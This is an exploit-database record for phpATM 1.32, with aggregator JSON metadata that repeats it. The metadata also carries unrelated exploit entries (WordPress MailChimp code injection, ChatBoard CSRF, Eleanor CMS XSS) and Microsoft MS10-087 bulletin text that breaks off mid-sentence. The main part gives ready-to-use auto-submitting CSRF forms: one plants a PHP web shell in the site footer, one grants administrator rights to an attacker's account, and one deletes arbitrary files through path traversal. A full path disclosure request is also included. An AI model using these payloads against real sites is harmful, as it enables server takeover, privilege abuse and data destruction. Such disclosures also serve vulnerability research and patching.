ID 1337DAY-ID-25113 Type zdt Reporter Paolo Massenio Modified 2016-06-17T00:00:00
Description
Exploit for php platform in category web applications
<!--
Exploit Title : "phpATM <= 1.32 Multiple CSRF Vulnerabilities & Full Path Disclosure Vulnerability"
Date : 17/06/2016
Author : Paolo Massenio - pmassenio[AT]gmail
Vendor : phpATM - http://phpatm.org/
Version : <= 1.32
Tested on : Windows 10 with XAMPP
[1] __CSRF in configure.php__
phpATM lets the administrator to modify the footer or the header through a specific form located in configure.php.
The configure.php page and all of the forms in it are affected by a CSRF bug, so we will focus on the form that
lets you to modify the footer.
This section of code is called when this form is submitted:
---configure.php---
149 case ACTION_SAVEFILE;
$filename = getPostVar('filename');
$filebody = getPostVar('filebody');
if (!isset($filebody))
{ break; }
$filebody = stripslashes($filebody);
$filebody = str_replace("&", "&", $filebody);
$filebody = preg_replace('/[^\x09\x0A\x0D\x20-\x7F]/e', '"&#".ord($0).";"', $filebody);
[email protected]("$cfg_folder_name/$filename","w+");
fwrite($fp, $filebody);
fclose($fp);
show_default(sprintf($mess[167], $filename));
163 break;
-------------------
All the content is saved in the file (e.g. $filename="footer.html").
For example, the footer is included in every page by the show_footer_page() function, like in the index.php page:
---index.php---
[...]
1860 show_footer_page();
[...]
------------------
Let see this function:
---functions.php---
[...]
951 function show_footer_page()
{
global $footerpage, $include_location, $cfg_folder_name; //$footerpage="footer.html"
// The copyright info. Please read GPL license if you are planning to remove it.
echo "\n<div id=\"phpatm\"><br><a href=\"http://phpatm.org/\" target=\"_blank\" title=\"Powered by PHP Advanced Transfer Manager v".PROGRAM_VERSION."\">Powered by phpATM</a><br></div>\n";
// Include the footer page if configured
$footer_path = $include_location.$cfg_folder_name.'/'.$footerpage;
if (file_exists($footer_path))
{ include($footer_path); }
echo "</div></td>\n</tr>\n</table>\n</body>\n</html>";
964 }
[...]
-------------------
So the footer.html is included! We can write whatever we want.
We can basically inject,through the CSRF, some malicius html code (e.g. persistent XSS)
or a malicious PHP code!
Below a very simple example that injects malicious PHP code:
<body onload="document.editfile.submit()">
<form name="editfile" action="http://127.0.0.1/phpATM/configure.php?" method="post">
<input type="hidden" name="action" value="savefile">
<input type="hidden" name="filename" value="footer.htm">
<input type="hidden" name="filebody" value='<?php system($_GET["cmd"]); ?>'>
</form>
</body>
[2] __CSRF in usrmanag.php (1) change user permission__
phpATM lets the administrator to change permission of a generic registered user through a form located in usrmanag.php page.
This page and all of the forms in it are affected by a CSRF bug.
The code below lets to the evil user to modify the permissions:
<body onload="document.useraccount.submit()">
<form name="useraccount" action="http://127.0.0.1/phpATM/usrmanag.php?" method="post" >
<input type="hidden" name="action" value="profile">
<input type="hidden" name="order" value="name">
<input type="hidden" name="letter" value="">
<input type="hidden" name="accpage" value="">
<input type="hidden" name="username" value="test">
<input type="hidden" name="typed_email" value="[email protected]">
<input type="hidden" name="typed_status" value="0">
</form>
</body>
username is the name of the evil user
typed_email is the email of the evil user
typed_status setted to 0 for administrator permissions.
[3] __CSRF in usrmanag.php (2) - delete any file___
phpATM doesn't use any kind of DBMS. The data of the users are collected in some files located in the 'users' folder.
Basically all the informations about a specified user (like username, md5 password, email, etc.) are stored in a file named
like the user.
In usrmanag.php the admin can delete an user account. So the system will basically delete the respective file.
When the form is submitted, is called the change_account_data() function:
----usrmanag.php----
[...]
function change_account_data()
{
[...]
if (isset($deleteaccountcheckbox))
{
if ($deleteaccountcheckbox == "on")
{
unlink("$users_folder_name/$username"); // Delete account file
if (file_exists("$userstat_folder_name/$username.stat"))
{ unlink("$userstat_folder_name/$username.stat"); } // Delete account statistics file
return;
}
}
[...]
}
-------------------
There is no sanification of the $username variable, in fact:
----usrmanag.php----
[...]
$username = getPostVar('username');
[...]
--------------------
----functions.php-----
[...]
function getPostVar($var_name)
{
if (isset($_POST[$var_name]))
{ return $_POST[$var_name]; }
else
{ return $HTTP_POST_VARS[$var_name]; }
}
[...]
--------------------
The form is affected by a CSRF bug, the $username variable isn't saificated, so we can delete
any file by sending a malicious form to the logged Admin!
Here an example:
<body onload="document.useraccount.submit()">
<form name="useraccount" action="http://127.0.0.1/phpATM/usrmanag.php?" method="post" style="margin: 0">
<input type="hidden" name="action" value="profile">
<input type="hidden" name="username" value="../index.php">
<input type="hidden" name="deleteaccountcheckbox" value="on">
</form>
</body>
[4] __FPD__
Simply request the page: http://server/phpATM/index.php?action=view&filename[]=
->
# 0day.today [2018-04-14] #
{"published": "2016-06-17T00:00:00", "id": "1337DAY-ID-25113", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [{"differentElements": ["description", "published", "reporter", "modified", "sourceHref", "sourceData", "title", "href"], "edition": 1, "lastseen": "2016-04-20T00:01:19", "bulletin": {"published": "2016-03-24T00:00:00", "id": "1337DAY-ID-25113", "cvss": {"score": 0.0, "vector": "NONE"}, "history": [], "enchantments": {"score": {"value": 6.5, "modified": "2016-04-20T00:01:19", "vector": "AV:L/AC:L/Au:M/C:C/I:C/A:C/"}}, "hash": "c957a96af055f20c65afb32dc840cd0ac936b6063e7a87cc1f26c4943ef2e3b1", "description": "WordPress MailChimp Subscribe Forms plugin version 1.1 suffers from a code execution vulnerability.", "type": "zdt", "lastseen": "2016-04-20T00:01:19", "edition": 1, "title": "WordPress MailChimp Subscribe Forms 1.1 Remote Code Execution Vulnerability", "href": "http://0day.today/exploit/description/25113", "modified": "2016-03-24T00:00:00", "bulletinFamily": "exploit", "viewCount": 3, "cvelist": [], "sourceHref": "http://0day.today/exploit/25113", "references": [], "reporter": "CrashBandicot", "sourceData": "# Exploit Title: Wordpress Plugin MailChimp Subscribe Forms - Remote Code Execution\r\n# Date: 23-03-2016\r\n# Exploit Author: CrashBandicot\r\n# Google Dork : inurl:/wp-content/plugins/mailchimp-subscribe-sm/\r\n# Vendor Homepage: https://fr.wordpress.org/plugins/mailchimp-subscribe-sm/\r\n# Tested on: MSWin32\r\n# Version: 1.1\r\n\r\n# Vulnerability in GET\r\n# Put your mail for subscribe and send but add in URL the Parameter sm_name with PHP Code\r\n\r\n# Vulnerable Files : mailchimp-subscribe-sm/inc/store-address.php\r\n\r\n18. if(!preg_match(\"/^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*$/i\", $_GET['sm_email'])) {\r\n...\r\n23. $smf_data = '* Name : '.$_GET['sm_name'];\r\n24. $smf_data .= ' Email : '.$_GET['sm_email'].' , '. PHP_EOL;\r\n...\r\n36. $file = \"sm_subscribers_list.php\"; \r\n...\r\n39. $fp = fopen($file, \"a\"); \r\n40. fwrite($fp, $smf_data);\r\n...\r\n42. fclose($fp);\r\n\r\n# PoC : localhost/subscribe/?sm_email=0day@0day.com&sm_name=<?php phpinfo(); ?>&submit=subscribe\r\n\r\n# Result in file sm_subscribers_list.php\r\n\r\n# PicS : http://i.imgur.com/HHtuycC.png\n\n# 0day.today [2016-04-19] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "7051729c0f7d59754d3ea03444ffd611", "key": "published"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "baf1a3012fa57cc08c6f3f2ee21d6333", "key": "sourceData"}, {"hash": "f2dc19096944829423c034302626432f", "key": "reporter"}, {"hash": "5c4a1067490bb93266afac58085e44a0", "key": "title"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "e1671ab78f5a2e7404a93eadded6b2b6", "key": "description"}, {"hash": "3b95acdcc884e867e0b88b833a21d9a5", "key": "href"}, {"hash": "06b9484c09c507be3fc56f700ae337e4", "key": "sourceHref"}, {"hash": "7051729c0f7d59754d3ea03444ffd611", "key": "modified"}], "objectVersion": "1.0"}}], "description": "Exploit for php platform in category web applications", "hash": "bd328ec8772b0a8fe4231f86896e833fd4e48164d6478f64014f66d0e30d289b", "enchantments": {"score": {"value": 1.4, "vector": "NONE", "modified": "2018-04-14T01:45:44"}, "dependencies": {"references": [{"type": "securityvulns", "idList": ["SECURITYVULNS:VULN:11248", "SECURITYVULNS:DOC:25106"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310901166", "OPENVAS:901166"]}, {"type": "nessus", "idList": ["SMB_NT_MS10-087.NASL"]}, {"type": "zdt", "idList": ["1337DAY-ID-11248"]}], "modified": "2018-04-14T01:45:44"}, "vulnersScore": 1.4}, "type": "zdt", "lastseen": "2018-04-14T01:45:44", "edition": 2, "title": "phpATM 1.32 - Multiple Vulnerabilities", "href": "https://0day.today/exploit/description/25113", "modified": "2016-06-17T00:00:00", "bulletinFamily": "exploit", "viewCount": 8, "cvelist": [], "sourceHref": "https://0day.today/exploit/25113", "references": [], "reporter": "Paolo Massenio", "sourceData": "<!--\r\n \r\nExploit Title : \"phpATM <= 1.32 Multiple CSRF Vulnerabilities & Full Path Disclosure Vulnerability\"\r\nDate : 17/06/2016\r\nAuthor : Paolo Massenio - pmassenio[AT]gmail\r\nVendor : phpATM - http://phpatm.org/\r\nVersion : <= 1.32\r\nTested on : Windows 10 with XAMPP\r\n \r\n \r\n[1] __CSRF in configure.php__\r\n \r\n phpATM lets the administrator to modify the footer or the header through a specific form located in configure.php.\r\n The configure.php page and all of the forms in it are affected by a CSRF bug, so we will focus on the form that \r\n lets you to modify the footer.\r\n \r\n This section of code is called when this form is submitted:\r\n \r\n ---configure.php---\r\n 149 case ACTION_SAVEFILE;\r\n \r\n $filename = getPostVar('filename');\r\n $filebody = getPostVar('filebody');\r\n \r\n if (!isset($filebody))\r\n { break; }\r\n $filebody = stripslashes($filebody);\r\n $filebody = str_replace(\"&\", \"&\", $filebody);\r\n $filebody = preg_replace('/[^\\x09\\x0A\\x0D\\x20-\\x7F]/e', '\"&#\".ord($0).\";\"', $filebody);\r\n [email\u00a0protected](\"$cfg_folder_name/$filename\",\"w+\");\r\n fwrite($fp, $filebody);\r\n fclose($fp);\r\n show_default(sprintf($mess[167], $filename));\r\n 163 break;\r\n -------------------\r\n \r\n All the content is saved in the file (e.g. $filename=\"footer.html\").\r\n \r\n For example, the footer is included in every page by the show_footer_page() function, like in the index.php page:\r\n \r\n ---index.php---\r\n [...]\r\n 1860 show_footer_page();\r\n [...]\r\n ------------------\r\n \r\n Let see this function:\r\n \r\n ---functions.php---\r\n [...]\r\n 951 function show_footer_page()\r\n {\r\n global $footerpage, $include_location, $cfg_folder_name; //$footerpage=\"footer.html\"\r\n \r\n // The copyright info. Please read GPL license if you are planning to remove it.\r\n echo \"\\n<div id=\\\"phpatm\\\"><br><a href=\\\"http://phpatm.org/\\\" target=\\\"_blank\\\" title=\\\"Powered by PHP Advanced Transfer Manager v\".PROGRAM_VERSION.\"\\\">Powered by phpATM</a><br></div>\\n\";\r\n \r\n // Include the footer page if configured \r\n $footer_path = $include_location.$cfg_folder_name.'/'.$footerpage;\r\n if (file_exists($footer_path))\r\n { include($footer_path); }\r\n \r\n echo \"</div></td>\\n</tr>\\n</table>\\n</body>\\n</html>\";\r\n 964 }\r\n [...]\r\n -------------------\r\n \r\n So the footer.html is included! We can write whatever we want. \r\n We can basically inject,through the CSRF, some malicius html code (e.g. persistent XSS)\r\n or a malicious PHP code!\r\n \r\n Below a very simple example that injects malicious PHP code: \r\n \r\n <body onload=\"document.editfile.submit()\">\r\n <form name=\"editfile\" action=\"http://127.0.0.1/phpATM/configure.php?\" method=\"post\">\r\n <input type=\"hidden\" name=\"action\" value=\"savefile\">\r\n <input type=\"hidden\" name=\"filename\" value=\"footer.htm\">\r\n <input type=\"hidden\" name=\"filebody\" value='<?php system($_GET[\"cmd\"]); ?>'>\r\n \r\n </form>\r\n </body>\r\n \r\n \r\n[2] __CSRF in usrmanag.php (1) change user permission__\r\n \r\n phpATM lets the administrator to change permission of a generic registered user through a form located in usrmanag.php page.\r\n This page and all of the forms in it are affected by a CSRF bug.\r\n \r\n The code below lets to the evil user to modify the permissions:\r\n \r\n <body onload=\"document.useraccount.submit()\">\r\n <form name=\"useraccount\" action=\"http://127.0.0.1/phpATM/usrmanag.php?\" method=\"post\" >\r\n <input type=\"hidden\" name=\"action\" value=\"profile\">\r\n <input type=\"hidden\" name=\"order\" value=\"name\">\r\n <input type=\"hidden\" name=\"letter\" value=\"\">\r\n <input type=\"hidden\" name=\"accpage\" value=\"\">\r\n <input type=\"hidden\" name=\"username\" value=\"test\">\r\n <input type=\"hidden\" name=\"typed_email\" value=\"[email\u00a0protected]\">\r\n <input type=\"hidden\" name=\"typed_status\" value=\"0\"> \r\n </form>\r\n </body>\r\n \r\n username is the name of the evil user\r\n typed_email is the email of the evil user\r\n typed_status setted to 0 for administrator permissions.\r\n \r\n[3] __CSRF in usrmanag.php (2) - delete any file___\r\n \r\n phpATM doesn't use any kind of DBMS. The data of the users are collected in some files located in the 'users' folder.\r\n Basically all the informations about a specified user (like username, md5 password, email, etc.) are stored in a file named \r\n like the user. \r\n \r\n In usrmanag.php the admin can delete an user account. So the system will basically delete the respective file.\r\n When the form is submitted, is called the change_account_data() function:\r\n \r\n ----usrmanag.php----\r\n [...]\r\n function change_account_data()\r\n {\r\n [...]\r\n if (isset($deleteaccountcheckbox))\r\n {\r\n if ($deleteaccountcheckbox == \"on\")\r\n {\r\n unlink(\"$users_folder_name/$username\"); // Delete account file\r\n if (file_exists(\"$userstat_folder_name/$username.stat\"))\r\n { unlink(\"$userstat_folder_name/$username.stat\"); } // Delete account statistics file\r\n return;\r\n }\r\n }\r\n [...]\r\n }\r\n -------------------\r\n \r\n There is no sanification of the $username variable, in fact:\r\n \r\n ----usrmanag.php----\r\n [...]\r\n $username = getPostVar('username');\r\n [...]\r\n --------------------\r\n \r\n ----functions.php-----\r\n [...]\r\n function getPostVar($var_name)\r\n {\r\n if (isset($_POST[$var_name]))\r\n { return $_POST[$var_name]; }\r\n else\r\n { return $HTTP_POST_VARS[$var_name]; }\r\n }\r\n [...]\r\n --------------------\r\n \r\n The form is affected by a CSRF bug, the $username variable isn't saificated, so we can delete\r\n any file by sending a malicious form to the logged Admin!\r\n \r\n Here an example:\r\n \r\n \r\n <body onload=\"document.useraccount.submit()\">\r\n <form name=\"useraccount\" action=\"http://127.0.0.1/phpATM/usrmanag.php?\" method=\"post\" style=\"margin: 0\">\r\n <input type=\"hidden\" name=\"action\" value=\"profile\"> \r\n <input type=\"hidden\" name=\"username\" value=\"../index.php\">\r\n <input type=\"hidden\" name=\"deleteaccountcheckbox\" value=\"on\">\r\n </form>\r\n </body>\r\n \r\n \r\n[4] __FPD__\r\n \r\n Simply request the page: http://server/phpATM/index.php?action=view&filename[]=\r\n \r\n \r\n->\n\n# 0day.today [2018-04-14] #", "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "8a1b9d67edd161eba6df1d6d4a1ba4bc", "key": "description"}, {"hash": "b324416bef1ac458b359286b980a0b3e", "key": "href"}, {"hash": "87accaaf08be7dd08c69a5affad05ef3", "key": "modified"}, {"hash": "87accaaf08be7dd08c69a5affad05ef3", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "cdfba6fe2b93cb7da34472aedf90535e", "key": "reporter"}, {"hash": "56ff3e237f804866909c01f675bbe197", "key": "sourceData"}, {"hash": "43b5e7d5d52957335e168fe661386186", "key": "sourceHref"}, {"hash": "42d62bd21978fa07aaba8edcddbbd0d4", "key": "title"}, {"hash": "0678144464852bba10aa2eddf3783f0a", "key": "type"}], "objectVersion": "1.3"}
{"mskb": [{"lastseen": "2019-09-11T12:39:09", "bulletinFamily": "microsoft", "description": "<html><body><p>Description of the vulnerabilities in Microsoft Office could allow remote code execution.</p><h2>INTRODUCTION</h2><div class=\"kb-summary-section section\">Microsoft has released security bulletin MS10-087. To view the complete security bulletin, visit one of the following Microsoft websites: <ul class=\"sbody-free_list\"><li>Home users:<br/><div class=\"indent\"><a href=\"http://www.microsoft.com/security/updates/bulletins/201011.aspx\" id=\"kb-link-1\" target=\"_self\">http://www.microsoft.com/security/updates/bulletins/201011.aspx</a></div><span class=\"text-base\">Skip the details</span>: Download the updates for your home computer or laptop from the Microsoft Update website now:<br/><div class=\"indent\"><a href=\"http://update.microsoft.com/microsoftupdate/\" id=\"kb-link-2\" target=\"_self\">http://update.microsoft.com/microsoftupdate/</a></div></li><li>IT professionals:<br/><div class=\"indent\"><a href=\"http://www.microsoft.com/technet/security/bulletin/ms10-087.mspx\" id=\"kb-link-3\" target=\"_self\">http://www.microsoft.com/technet/security/bulletin/ms10-087.mspx</a></div></li></ul><span><h3 class=\"sbody-h3\">How to obtain help and support for this security update</h3> <br/>Help installing updates: <br/><a href=\"https://support.microsoft.com/ph/6527\" id=\"kb-link-4\" target=\"_self\">Support for Microsoft Update</a><br/><br/>Security solutions for IT professionals: <br/><a href=\"http://technet.microsoft.com/security/bb980617.aspx\" id=\"kb-link-5\" target=\"_self\">TechNet Security Troubleshooting and Support</a><br/><br/>Help protect your computer that is running Windows from viruses and malware:<br/><a href=\"https://support.microsoft.com/contactus/cu_sc_virsec_master\" id=\"kb-link-6\" target=\"_self\">Virus Solution and Security Center</a><br/><br/>Local support according to your country: <br/><a href=\"https://support.microsoft.com/common/international.aspx\" id=\"kb-link-7\" target=\"_self\">International Support</a><br/><br/></span></div><h2>More Information</h2><div class=\"kb-moreinformation-section section\"><h3 class=\"sbody-h3\">Additional information about this security update</h3> <br/><br/> <br/>For more information about this security update and for information about any known issues with specific releases of this software, click the following article numbers to view the articles in the Microsoft Knowledge Base: <br/><br/><br/><ul class=\"sbody-free_list\"><li><a href=\"https://support.microsoft.com/en-us/help/2289161\" id=\"kb-link-8\">2289161 </a> MS10-087: Description of the security update for Office 2010: November 9, 2010</li><li><a href=\"https://support.microsoft.com/en-us/help/2289158\" id=\"kb-link-9\">2289158 </a> MS10-087: Description of the security update for 2007 Office System: November 9, 2010 </li><li><a href=\"https://support.microsoft.com/en-us/help/2289187\" id=\"kb-link-10\">2289187 </a> MS10-087: Description of the security update for Office 2003: November 9, 2010 <br/><br/><div class=\"indent\"><span class=\"text-base\">Known issues in security update 2289187:\u00a0</span></div><div class=\"indent\">After you install this security update, you may not be able to view or insert certain image files into Microsoft Office documents. For more information about this issue, click the following article number to view the article in the Microsoft Knowledge Base:\u00a0</div><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/2479871\" id=\"kb-link-11\">2479871 </a> Security settings for graphic filters for Microsoft Office 2010, the 2007 Microsoft Office system, Microsoft Office 2003, and Microsoft Office XP</div></li><li><a href=\"https://support.microsoft.com/en-us/help/2289169\" id=\"kb-link-12\">2289169 </a> MS10-087: Description of the security update for Office XP: November 9, 2010 <br/><br/><div class=\"indent\"><span class=\"text-base\">Known issues in security update 2289169:</span></div><ul class=\"sbody-free_list\"><li>After you install this security update, you may not be able to view or insert certain image files into Microsoft Office documents. For more information about this issue, click the following article number to view the article in the Microsoft Knowledge Base:\u00a0 <br/><br/> <br/><div class=\"indent\"><a href=\"https://support.microsoft.com/en-us/help/2479871\" id=\"kb-link-13\">2479871 </a> Security settings for graphic filters for Microsoft Office 2010, the 2007 Microsoft Office system, Microsoft Office 2003, and Microsoft Office XP</div></li><li>After you install this security update, you may have to accept the Microsoft Software License Terms when you start a Microsoft Office XP program. If you do not accept the Microsoft Software License Terms, the Office XP program may not start.</li></ul></li><li><a href=\"2454823\" id=\"kb-link-14\" target=\"_self\">2454823</a> Description of the Microsoft Office for Mac 2011 14.0.1 Update </li></ul></div></body></html>", "modified": "2014-06-21T14:34:09", "id": "KB2423930", "href": "https://support.microsoft.com/en-us/help/2423930/", "published": "2017-01-07T20:58:07", "title": "MS10-087: Vulnerabilities in Microsoft Office could allow remote code execution", "type": "mskb", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "zdt": [{"lastseen": "2018-04-08T11:36:38", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2016-06-15T00:00:00", "published": "2016-06-15T00:00:00", "id": "1337DAY-ID-25106", "href": "https://0day.today/exploit/description/25106", "type": "zdt", "title": "Ultrabenosaurus ChatBoard - Cross-Site Request Forgery (Send Message)", "sourceData": "<!-- \r\n# Exploit Title: Ultrabenosaurus ChatBoard - CSRF(Send Message)\r\n# Date: 2016-06-14\r\n# Exploit Author: HaHwul\r\n# Exploit Author Blog: www.hahwul.com\r\n# Vendor Homepage: http://ultrabenosaurus.ninja/\r\n# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip\r\n# Tested on: Debian [wheezy]\r\n \r\n### Vulnerability Code\r\n-----------------------------------------------------------------------------------------\r\nPOST /vul_test/ChatBoard/__original/chat.php HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0\r\nAccept: */*\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nX-Requested-With: XMLHttpRequest\r\nReferer: http://CSRF_NO_REFERE_CHECK\r\nContent-Length: 8\r\nCookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5\r\nConnection: keep-alive\r\n \r\nmsg=CSRF\r\n### Response\r\n-----------------------------------------------------------------------------------------\r\nHTTP/1.1 200 OK\r\nDate: Tue, 14 Jun 2016 01:52:02 GMT\r\nServer: Apache/2.4.10 (Ubuntu)\r\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\r\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\r\nPragma: no-cache\r\nContent-Length: 7\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/html; charset=UTF-8\r\n \r\nwritten\r\n-----------------------------------------------------------------------------------------\r\n \r\n### Vulnerability Code\r\n-->\r\n \r\n<form name=\"csrf_poc\" action=\"http://127.0.0.1/vul_test/ChatBoard/__original/chat.php\" method=\"POST\">\r\n<input type=\"hidden\" name=\"msg\" value=\"CSRF\">\r\n<input type=\"submit\" value=\"CSRF Attack\">\r\n</form>\r\n<script type=\"text/javascript\">document.forms.csrf_poc.submit();</script>\n\n# 0day.today [2018-04-08] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/25106"}, {"lastseen": "2018-02-06T23:11:07", "bulletinFamily": "exploit", "description": "Exploit for unknown platform in category web applications", "modified": "2010-03-10T00:00:00", "published": "2010-03-10T00:00:00", "id": "1337DAY-ID-11248", "href": "https://0day.today/exploit/description/11248", "type": "zdt", "title": "Eleanor CMS Rc5.1 Cross Site Scripting Vulnerability", "sourceData": "====================================================\r\nEleanor CMS Rc5.1 Cross Site Scripting Vulnerability\r\n====================================================\r\n\r\nTopic : Eleanor Rc5.1\r\nBug tType : Cross Site Scripting\r\nCredit : ItSecTeam\r\nRemote : Yes\r\nStatus : Bug\r\n\r\n# Dork : Eleanor Cms\r\n\r\n########################## Exploit #############################\r\nhttp://Site.com/Eleanor_CMS/templates/Audora/Confirm.php?title=Xss Code\r\n#This Bug Worked In Register_Globals On\r\n\r\n\r\n\n# 0day.today [2018-02-06] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/11248"}], "securityvulns": [{"lastseen": "2018-08-31T11:09:39", "bulletinFamily": "software", "description": "Multiple memory corruptions, buffer overflows, integer overflows.", "modified": "2010-11-15T00:00:00", "published": "2010-11-15T00:00:00", "id": "SECURITYVULNS:VULN:11248", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:11248", "title": "Microsoft Office multiple security vulnerabilities", "type": "securityvulns", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:37", "bulletinFamily": "software", "description": "Microsoft Security Bulletin MS10-087 - Critical\r\nVulnerabilities in Microsoft Office Could Allow Remote Code Execution (2423930)\r\nPublished: November 09, 2010\r\n\r\nVersion: 1.0\r\nGeneral Information\r\nExecutive Summary\r\n\r\nThis security update resolves one publicly disclosed vulnerability and four privately reported vulnerabilities in Microsoft Office. The most severe vulnerability could allow remote code execution if a user opens or previews a specially crafted RTF e-mail message. An attacker who successfully exploited any of these vulnerabilities could gain the same user rights as the local user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nThis security update is rated Critical for all supported editions of Microsoft Office 2007 and Microsoft Office 2010. This security update is also rated Important for all supported editions of Microsoft Office XP, Microsoft Office 2003, Microsoft Office 2004 for Mac, Microsoft Office 2008 for Mac, and Microsoft Office for Mac 2011; and Open XML File Format Converter for Mac. For more information, see the subsection, Affected and Non-Affected Software, in this section.\r\n\r\nThe update addresses the vulnerabilities by modifying the way that Microsoft Office software parses files and by helping to ensure a vulnerable component of Microsoft Office uses a more appropriate and secure search order when loading libraries. For more information about the vulnerability, see the Frequently Asked Questions (FAQ) subsection for the specific vulnerability entry under the next section, Vulnerability Information.\r\n\r\nRecommendation. Microsoft recommends that customers apply the update immediately.\r\n\r\nKnown Issues. Microsoft Knowledge Base Article 2423930 documents the currently known issues that customers may experience when installing this security update. The article also documents recommended solutions for these issues. When currently known issues and recommended solutions pertain only to specific releases of this software, this article provides links to further articles.\r\nTop of sectionTop of section\r\nAffected and Non-Affected Software\r\n\r\nThe following software have been tested to determine which versions or editions are affected. Other versions or editions are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, visit Microsoft Support Lifecycle.\r\n\r\nAffected Software \r\nMicrosoft Office Suite and Other Software\tMaximum Security Impact\tAggregate Severity Rating\tBulletins Replaced by this Update\r\nMicrosoft Office Suites \t \t \t \r\n\r\nMicrosoft Office XP Service Pack 3\r\n(KB2289169)\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-003\r\n\r\nMicrosoft Office 2003 Service Pack 3\r\n(KB2289187)\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-036\r\n\r\nMicrosoft Office 2007 Service Pack 2\r\n(KB2289158)\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-036\r\n\r\nMicrosoft Office 2010 (32-bit editions)\r\n(KB2289161)\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nNone\r\n\r\nMicrosoft Office 2010 (64-bit editions)\r\n(KB2289161)\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nNone\r\nMicrosoft Office for Mac\t \t \t \r\n\r\nMicrosoft Office 2004 for Mac[1]\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNone\r\n\r\nMicrosoft Office 2008 for Mac[1]\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNone\r\n\r\nMicrosoft Office for Mac 2011\r\n(KB2454823)\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNone\r\n\r\nOpen XML File Format Converter for Mac[1]\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nNone\r\n\r\n[1]The security updates for Microsoft Office 2004 for Mac, Microsoft Office 2008 for Mac, and Open XML File Format Converter for Mac are unavailable at this time.\r\n\r\nNon-Affected Software \r\nOffice and Other Software\r\n\r\nMicrosoft Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats Service Pack 2\r\n\r\nMicrosoft Word Viewer\r\n\r\nMicrosoft Excel Viewer Service Pack 2\r\n\r\nMicrosoft PowerPoint Viewer Service Pack 2\r\n\r\nMicrosoft Visio 2007 Viewer Service Pack 2\r\n\r\nMicrosoft Visio 2010 Viewer\r\n\r\nMicrosoft Works 9\r\nTop of sectionTop of section\r\n\t\r\nFrequently Asked Questions (FAQ) Related to This Security Update\r\n\r\nWhere are the file information details? \r\nRefer to the reference tables in the Security Update Deployment section for the location of the file information details.\r\n\r\nWhere are the updates for Microsoft Office 2004 for Mac, Microsoft Office 2008 for Mac, and Open XML File Format Converter for Mac? \r\nSecurity updates for Microsoft Office 2004 for Mac, Microsoft Office 2008 for Mac, and Open XML File Format Converter for Mac are unavailable at this time. Microsoft will issue updates for these software when testing is complete, to ensure a high degree of quality for their release.\r\n\r\nWhy does this update address several reported security vulnerabilities? \r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers need to install this update only.\r\n\r\nHow is Microsoft Office Outlook affected by these vulnerabilities? \r\nOutlook is not directly affected because the vulnerabilities can only be exploited through Microsoft Word. If Word is the selected e-mail reader, which is the default setting in Microsoft Outlook 2007 and Microsoft Outlook 2010, then an attacker could leverage Outlook for the e-mail attack vector by sending a specially crafted RTF e-mail message to the target user. In this scenario this attack vector requires minimal user action (as in viewing a specially crafted e-mail through the preview pane in Outlook) to be exploited.\r\n\r\nHow are Microsoft Office standalone programs affected by the vulnerabilities? \r\nA Microsoft Office standalone program is affected with the same severity rating as the corresponding Microsoft Office Suite. For example, a standalone installation of Microsoft Word is affected with the same severity rating as an installation of the affected Microsoft Office Suite.\r\n\r\nI have a non-vulnerable version of software installed, why am I being offered 